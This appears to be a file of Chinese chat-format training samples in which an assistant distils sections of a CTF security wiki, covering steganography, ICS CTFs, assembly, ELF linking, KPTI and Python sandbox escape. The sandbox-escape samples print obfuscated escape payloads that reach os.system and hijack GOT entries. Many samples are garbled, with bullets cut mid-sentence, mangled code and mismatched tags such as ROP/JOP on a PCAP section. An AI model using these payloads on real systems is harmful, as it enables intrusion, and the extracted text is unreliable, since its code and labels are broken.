[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/ctfs.md` 中的章节「工控编程和组态（Program）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/ctfs.md`
标题：ICS_CTF 竞赛
章节：ICS_CTF 竞赛 > 工控编程和组态（Program）
路径分类：ics / ics/ctfs.md
分块：1/1

核心知识点：
- 本节主题围绕“工控编程和组态（Program）”展开。
- 工控设备往往可以在线调试，从而可以控制某些输入输出端口，实现强制启停的功能，如果这些功能可以采用 Remote 方式重发，那攻击危害就更为严重。
- 工控组态可以非常复杂，甚至连接成百上千个输入输出都有可能，组态中会由于添加了新的组件而更加麻烦，这时候要慢慢看，一点一点缕出来。
- 工控编程和组态是工控系统运行的核心和重点，此类题目特点一般是： - 工控编程核心为明白工控业务逻辑，而工控编程遵循 IEC61131-3（工控史上首例实现 PLC、DCS、运动控制、 SCADA 等联合编程的标准——IEC61131-3），包括 5 种编程语言标准，3 种是图形化语言（梯形图、顺序功能图和功能块图），两种是文本化语言（指令表和结构文本）。
- 工控设备的连接方式多样，一般采用串口，但是目前设备发展支持以太网、USB 接口等新的方式，如果网口不行试试串口、USB。

关键术语：
- 漏洞利用
- ics
- ctfs.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

工控编程和组态（Program）

ICS_CTF 竞赛


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/audio/introduction.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/audio/introduction.md`
标题：音频隐写
章节：音频隐写 > MP3 隐写 > 例题
路径分类：misc / misc/audio/introduction.md
分块：1/1

核心知识点：
- 本节主题围绕“例题”展开。
- [图片文件: ./figure/1.jpg] 得到密码后使用 Mp3Stego 解密。
- ``shell decode.exe -X ISCC2016.mp3 -P bfsiscc2016 ` 得到文件 iscc2016.mp3.txt: ` Flag is SkYzWEk0M1JOWlNHWTJTRktKUkdJTVpXRzVSV0U2REdHTVpHT1pZPQ== ?
- > ISCC-2016: Music Never Sleep 初步观察后，由 strings 无发现，听音频无异常猜测使用隐写软件隐藏数据。
- `` Base64 && Base32 后得到 flag。

关键术语：
- 密码学
- misc
- audio
- introduction.md
- code:shell

代码/命令片段线索：
- shell: 1 行，首行 `decode.exe -X ISCC2016.mp3 -P bfsiscc2016`
- plain: 1 行，首行 `Flag is SkYzWEk0M1JOWlNHWTJTRktKUkdJTVpXRzVSV0U2REdHTVpHT1pZPQ== ???`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题

音频隐写
MP3 隐写
例题

密码学 misc audio introduction.md code:shell

音频隐写


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/gif.md` 中的章节「图像标识符（Image Descriptor）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/gif.md`
标题：GIF
章节：GIF > 文件结构 > 图像标识符（Image Descriptor）
路径分类：misc / misc/picture/gif.md
分块：1/1

核心知识点：
- 本节主题围绕“图像标识符（Image Descriptor）”展开。
- 之前的图片渲染模式一般是将多个图片绘制到一个大的（virtual canvas）虚拟画布上，而现在一般将这些图片集用于实现动画。
- 每个 image 都以一个 image descriptor block（图像描述块）作为开头，这个块固定为 10 字节。
- [图片文件: ./figure/imagesdescription.png]

关键术语：
- misc
- picture
- gif.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

图像标识符（Image Descriptor）

GIF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/jpg.md` 中的章节「JPHS」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/jpg.md`
标题：JPG
章节：JPG > 隐写软件 > JPHS
路径分类：misc / misc/picture/jpg.md
分块：1/1

核心知识点：
- JPEG 图像的信息隐藏软件 JPHS，它是由 Allan Latham 开发设计实现在 Windows 和 Linux 系统平台针对有损压缩 JPEG 文件进行信息加密隐藏和探测提取的工具。
- JPHIDE 程序主要是实现将信息文件加密隐藏到 JPEG 图像功能，而 JPSEEK 程序主要实现从用 JPHIDE 程序加密隐藏得到的 JPEG 图像探测提取信息文件，Windows 版本的 JPHS 里的 JPHSWIN 程序具有图形化操作界面且具备 JPHIDE 和 JPSEEK 的功能。
- 软件里面主要包含了两个程序 JPHIDE和 JPSEEK。

关键术语：
- misc
- picture
- jpg.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

JPHS

JPG


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/ctfs.md` 中的章节「Web渗透类（Web）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/ctfs.md`
标题：ICS_CTF 竞赛
章节：ICS_CTF 竞赛 > Web渗透类（Web）
路径分类：ics / ics/ctfs.md
分块：1/1

核心知识点：
- 本节主题围绕“Web渗透类（Web）”展开。
- Web渗透的同时会保留多个端口，例如FTP、HTTPS、Telnet、SNMP、NTP等服务端口，在Web渗透无法打穿的同时可以试试其他端口。
- 该节主要谈工控Web渗透的特点： - 与业务场景高度契合，例如工业控制中，Web端主要为显示当前使用场景中的控制参数、运行状态等信息，如果在内网中被中间人劫持，当HMI显示设备无法与PLC等实时运行设备同步时，系统会报警或出错。
- 一般采用通用技术展示Web界面，以windows操作系统为主要平台，包括WinCC、Windows Server、Windows 98/2000/XP等看似古老的系统为主。
- 工控由于一般处于内网环境，内网劫持往往比较有效，但是如果内网配置了静态 IP 或其他防护措施，ARP 欺骗方式等内网劫持方法无法起效。
- 敏感信息泄露，配置文件不完善是工控 Web 发布常见问题，不仅仅包括 .git/.idea/.project 等工程信息协议，还可能出现路径遍历、命令注入、弱口令等问题。

关键术语：
- ics
- ctfs.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Web渗透类（Web）

ICS_CTF 竞赛


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「（1）通用寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x02 寄存器 > （1）通用寄存器
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“（1）通用寄存器”展开。
- RISC-V 一共有 32 个通用寄存器，编号为 x0 到 x31，每个寄存器为 32 位（RV32）或 64 位（RV64）。
- 这些寄存器也有对应的 ABI 名称，常用于汇编语言编程。
- 临时寄存器（t0~t6）在函数调用过程中不保证保留。
- 保存寄存器（s0~s11）在函数调用之间必须被保存和恢复。

关键术语：
- 栈
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

（1）通用寄存器

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「（5）控制流指令（B 型）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x03 常见指令 > （5）控制流指令（B 型）
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“（5）控制流指令（B 型）”展开。
- | 指令 | 含义 | 示例 | 说明 | |--------|--------------------------|-----------------------|---------------------------------| | beq | 相等跳转 | beq x1, x2, label | 若 x1 == x2，跳转到 label | | bne | 不等跳转 | bne x1, x2, label | 若 x1 !
- 用于实现条件跳转，配合标签使用，跳转偏移为 12 位立即数（±4KB）。
- = x2，跳转 | | blt | 小于跳转（有符号） | blt x1, x2, label | 若 x1 < x2，跳转 | | bge | 大于等于跳转（有符号） | bge x1, x2, label | 若 x1 >= x2，跳转 | | bltu | 小于跳转（无符号） | bltu x1, x2, label | 无符号小于比较跳转 | | bgeu | 大于等于跳转（无符号） | bgeu x1, x2, label | 无符号大于等于比较跳转 |

关键术语：
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

（5）控制流指令（B 型）

Risc-V
0x03 常见指令
（5）控制流指令（B 型）

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/arm/readme.md` 中的章节「LDR」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/arm/readme.md`
标题：ARM
章节：ARM > 2. 指令集 > 3.寄存器访问指令 > LDR
路径分类：assembly / assembly/arm/readme.md
分块：1/1

核心知识点：
- 将内存中的数据放入到寄存器中 指令示例： `` LDRH R0，[R1] ；
- 将存储器地址为R1的半字数据读入寄存器R0，并将R0的高16位清零。
- 将存储器地址为R1＋8的半字数据读入寄存器R0，并将R0的高16位清零。
- 将存储器地址为R1＋R2的半字数据读入寄存器R0，并将R0的高16位清零。

关键术语：
- assembly
- arm
- readme.md

代码/命令片段线索：
- plain: 3 行，首行 `LDRH R0，[R1] ；将存储器地址为R1的半字数据读入寄存器R0，并将R0的高16位清零。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

LDR

ARM
2. 指令集
3.寄存器访问指令
LDR

ARM


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/encode/computer.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/encode/computer.md`
标题：计算机相关的编码
章节：计算机相关的编码 > Base 编码 > 例子
路径分类：misc / misc/encode/computer.md
分块：1/1

核心知识点：
- 本节主题围绕“例子”展开。
- 题目描述参见 ctf-challenge中 misc 分类的 base64-stego 目录中的 data.txt 文件。
- 一大串 Base64 密文，试试补 0 位的数据。

关键术语：
- misc
- encode
- computer.md

代码/命令片段线索：
- plain: 1 行，首行 `输出:`
- plain: 2 行，首行 `下面是原编辑者的代码，代码的小毛病在于查找隐写字符用`last = line[-3]`写死了，这种写法默认每行尾有一个'\n',而最后一行并非如此，因此左后一个字符显示错误。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例子

计算机相关的编码
Base 编码
例子

计算机相关的编码


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/executable/elf/structure/dynamic-sections.md` 中的章节「Procedure Linkage Table」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/executable/elf/structure/dynamic-sections.md`
标题：Dynamic Sections
章节：Dynamic Sections > Procedure Linkage Table
路径分类：executable / executable/elf/structure
分块：1/1

核心知识点：
- 本节主题围绕“Procedure Linkage Table”展开。
- pushl 指令将 GOT 表的第二个表项(got_plus_4 或者4(%ebx)，当前ELF对象的信息)压到栈上，然后给动态链接器一个识别信息。
- 5. 因此，程序将相应函数在 rel.plt 中的偏移（重定位偏移，reloc_index）压到栈上。
- 7. 当动态链接器接收到控制权后，他将会进行出栈操作，查看重定位表项，解析出对应的符号的值，然后将 name1 的地址写入到全局偏移表项中，最后将控制权交给目的地址。
- 所以程序开始执行前，模块间的函数调用都没有进行绑定，而是需要用到时才由动态链接器负责绑定。
- 在惰性绑定的情况下，总体流程如下图所示，蓝线表示首次执行的流程图，红线表示第二次以后调用的流程图： [图片文件: ./figure/lazy-plt.png] LD_BIND_NOW 环境变量可以改变动态链接器的行为。

关键术语：
- 栈
- executable
- elf
- structure
- dynamic-sections.md
- code:assembly

代码/命令片段线索：
- assembly: 11 行，首行 `.PLT0: pushl got_plus_4`
- assembly: 11 行，首行 `.PLT0: pushl 4(%ebx)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Procedure Linkage Table

Dynamic Sections
Procedure Linkage Table

栈 executable elf structure dynamic-sections.md code:assembly

Dynamic Sections


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/other/pyc.md` 中的章节「File: imgenc.pyc (Python 2.7)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/other/pyc.md`
标题：pyc文件
章节：File: imgenc.pyc (Python 2.7)
路径分类：misc / misc/other/pyc.md
分块：1/1

核心知识点：
- 本节主题围绕“File: imgenc.pyc (Python 2.7)”展开。
- from scipy.misc import imread, imsave def doit(input_file, output_file, f): Unsupported opcode: STOP_CODE img = imread(input_file, flatten = True) img /= 255 size = img.shape[0]

关键术语：
- misc
- other
- pyc.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

File: imgenc.pyc (Python 2.7)

pyc文件


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「For Wayland」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：pwn-related tools > 将 Docker 容器接入本地图形界面 > For Wayland
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“For Wayland”展开。
- `python context.terminal = ['konsole', '-e', 'sh', '-c'] # for KDE context.terminal = ['gnome-terminal', '-e', 'sh', '-c'] # for Gnome ``

关键术语：
- pwn
- linux
- user-mode
- environment.md
- code:shell
- code:python

代码/命令片段线索：
- shell: 11 行，首行 `$ docker run \`
- python: 2 行，首行 `context.terminal = ['konsole', '-e', 'sh', '-c'] # for KDE`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

For Wayland

pwn-related tools
将 Docker 容器接入本地图形界面
For Wayland

pwn linux user-mode environment.md code:shell code:python

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/other/pyc.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/other/pyc.md`
标题：pyc文件
章节：WARNING: Decompyle incomplete > Tools > Stegosaurus > 例题
路径分类：misc / misc/other/pyc.md
分块：1/1

核心知识点：
- 本节主题围绕“例题”展开。
- 我们都知道 Python 是一种全平台的解释性语言，全平台其实就是 Python 文件在经过解释器解释之后(或者称为编译)生成的 pyc 文件可以在多个平台下运行，这样同样也可以隐藏源代码。
- 模块的搜索路径都放在了 sys.path 列表中，如果缺省的 sys.path 中没有含有自己的模块或包的路径，可以动态的加入 (sys.path.apend) 即可。
- Bugku QAQ 赛题链接如下： ``shell http://ctf.bugku.com/files/447e4b626f2d2481809b8690613c1613/QAQ http://ctf.bugku.com/files/5c02892cd05a9dcd1c5a34ef22dd9c5e/cipher.txt ` 首先拿到这道题，用 010Editor 乍一眼看过去，我们可以看到一些特征信息： [图片: feature;
- 文件: ./figure/feature.png] 可以判断这是个跟 python 有关的东西，通过查阅相关资料可以判断这是个 python 经编译过后的 pyc 文件。
- 其实， Python 是完全面向对象的语言， Python 文件在经过解释器解释后生成字节码对象 PyCodeObject ， pyc 文件可以理解为是 PyCodeObject 对象的持久化保存方式。

关键术语：
- misc
- other
- pyc.md
- code:shell
- code:python

代码/命令片段线索：
- shell: 2 行，首行 `http://ctf.bugku.com/files/447e4b626f2d2481809b8690613c1613/QAQ`
- shell: 1 行，首行 `mkdir test && cd test/`
- python: 3 行，首行 `def print_test():`
- shell: 1 行，首行 `python3 test.py`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题

WARNING: Decompyle incomplete
Tools
Stegosaurus
例题

misc other pyc.md code:shell code:python

pyc文件


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/sandbox/python/python-sandbox-escape.md` 中的章节「劫持 got 表 getshell」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/sandbox/python/python-sandbox-escape.md`
标题：Python 沙盒
章节：Python 沙盒 > 例子 > 劫持 got 表 getshell
路径分类：pwn / pwn/sandbox/python
分块：1/1

核心知识点：
- 本节主题围绕“劫持 got 表 getshell”展开。
- ```py (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()40)(().__class__.__bases__[0].__subclasses__()40,().__class__.__bases__[0].__subclasses__()40)
- (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()40)(().__class__.__bases__[0].__subclasses__()40,().__class__.__bases__[0].__subclasses__()40)

关键术语：
- pwn
- sandbox
- python
- python-sandbox-escape.md
- code:py

代码/命令片段线索：
- py: 2 行，首行 `(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__(...`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

劫持 got 表 getshell

pwn sandbox python python-sandbox-escape.md code:py

Python 沙盒


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/ctfs.md` 中的章节「题目示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/ctfs.md`
标题：ICS_CTF 竞赛
章节：ICS_CTF 竞赛 > 逆向分析（Reverse） > 题目示例
路径分类：ics / ics/ctfs.md
分块：1/1

核心知识点：
- 本节主题围绕“题目示例”展开。
- 题目名称：tplink_tddp 从题目描述中，我们可以得知我们的关键分析对象时 tddp，然后题目附件是一个固件，利用 binwalk 解析，在 usr/bin 中找到 tddp，然后通过谷歌搜索 tddp 关键词可以发现有在 TP-Link 路由器中有该协议的漏洞，基于 UDP 运行于 1040 端口，发送数据的第 2 个字节（采用 tddp v1 协议）为 0x31（CMD_FTEST_CONFIG）时，会导致远程代码执行。
- 将 tddp 拖入 IDA 搜索字符串 CMD_FTEST_CONFIG 可以找到会执行 sub_A580 函数 [图片: tddp;
- 文件: ./figure/tddp_1.png] 至此已经可以提交 flag，但也可以继续进行分析，通过 qemu 搭建 arm 环境运行文件系统进行动态调试。
- 参考链接：https://paper.seebug.org/879/ 。

关键术语：
- RCE
- 漏洞利用
- ics
- ctfs.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

题目示例

ICS_CTF 竞赛


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/fix.md` 中的章节「Packet Block(数据块)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/fix.md`
标题：PCAP 文件修复
章节：PCAP 文件修复 > 常见块 > Packet Block(数据块)
路径分类：misc / misc/traffic/fix.md
分块：1/1

核心知识点：
- 本节主题围绕“Packet Block(数据块)”展开。
- ``sh 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Interface ID | Drops Count | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Timestamp (High...

关键术语：
- ROP/JOP
- misc
- traffic
- fix.md
- code:sh

代码/命令片段线索：
- sh: 18 行，首行 `0 1 2 3`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Packet Block(数据块)

PCAP 文件修复


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/sandbox/python/python-sandbox-escape.md` 中的章节「寻找 __import__ 的间接引用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/sandbox/python/python-sandbox-escape.md`
标题：Python 沙盒
章节：Python 沙盒 > 例子 > 寻找 __import__ 的间接引用
路径分类：pwn / pwn/sandbox/python
分块：1/1

核心知识点：
- 本节主题围绕“寻找 __import__ 的间接引用”展开。
- 在不断的 dir 过程中，发现 __closure__ 这个 object 保存了参数，可以引用原生的 __import__ ``py print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home') ``

关键术语：
- pwn
- sandbox
- python
- python-sandbox-escape.md
- code:py

代码/命令片段线索：
- py: 1 行，首行 `print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s ho...`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

寻找 __import__ 的间接引用

Python 沙盒


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md` 中的章节「iret」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md`
标题：KPTI - Kernel Page Table Isolation
章节：KPTI - Kernel Page Table Isolation > Attack KPTI > SWITCH_TO_USER_CR3_STACK > iret
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“iret”展开。
- We can do future final exit work right here. / STACKLEAK_ERASE_NOCLOBBER SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi / Restore RDI. */ popq %rdi SWAPGS INTERRUPT_RETURN ` 可以看到，通过伪造如下的栈，然后跳转到 movq %rsp, %rdi，我们就可以同时切换页表和返回至用户态。
- ``assembly SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL) #ifdef CONFIG_DEBUG_ENTRY / Assert that pt_regs indicates user mode. / testb $3, CS(%rsp) jnz 1f ud2 1: #endif POP_REGS pop_rdi=0 / The stack is now user RDI, orig_ax, RIP,...
- ` fake rax fake rdi RIP CS EFLAGS RSP SS ``
- All regs except RDI are live.

关键术语：
- 栈
- pwn
- linux
- kernel-mode
- defense
- code:assembly

代码/命令片段线索：
- assembly: 34 行，首行 `SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL)`
- plain: 7 行，首行 `fake rax`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

iret

KPTI - Kernel Page Table Isolation
Attack KPTI
SWITCH_TO_USER_CR3_STACK
iret

栈 pwn linux kernel-mode defense code:assembly

KPTI - Kernel Page Table Isolation


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/gif.md` 中的章节「时间轴」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/gif.md`
标题：GIF
章节：GIF > 时间轴
路径分类：misc / misc/picture/gif.md
分块：1/1

核心知识点：
- 本节主题围绕“时间轴”展开。
- GIF文件每一帧间的时间间隔也可以作为信息隐藏的载体。
- 例如在当时在XMan选拔赛出的一题 > XMAN-2017:100.gif 通过identify命令清晰的打印出每一帧的时间间隔 ``shell $ identify -format "%s %T \n" 100.gif 0 66 1 66 2 20 3 10 4 20 5 10 6 10 7 20 8 20 9 20 10 20 11 10 12 20 13 20 14 10 15 10 ` 推断 20 & 10 分别代表 0 & 1，提取每一帧间隔并进行转化。

关键术语：
- misc
- picture
- gif.md
- code:shell

代码/命令片段线索：
- shell: 17 行，首行 `$ identify -format "%s %T \n" 100.gif`
- shell: 2 行，首行 `$ cat flag|cut -d ' ' -f 2|tr -d '66'|tr -d '\n'|tr -d '0'|tr '2' '0'`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

时间轴

GIF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/png.md` 中的章节「IDAT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/png.md`
标题：PNG
章节：PNG > 文件格式 > IDAT
路径分类：misc / misc/picture/png.md
分块：1/1

核心知识点：
- ` 可以看到，正常的块的 length 是在 65524 的时候就满了，而倒数第二个 IDAT 块长度是 45027，最后一个长度是 138，很明显最后一个 IDAT 块是有问题的，因为他本来应该并入到倒数第二个未满的块里. 利用 python zlib 解压多余 IDAT 块的内容，此时注意剔除 长度、数据块类型及末尾的CRC校验值。
- 储存图像像素数据 - 在数据流中可包含多个连续顺序的图像数据块 - 采用 LZ77 算法的派生算法进行压缩 - 可以用 zlib 解压缩 值得注意的是，IDAT 块只有当上一个块充满时，才会继续一个新的块。
- `python IDAT = "789...667".decode('hex') result = binascii.hexlify(zlib.decompress(IDAT)) print result ``
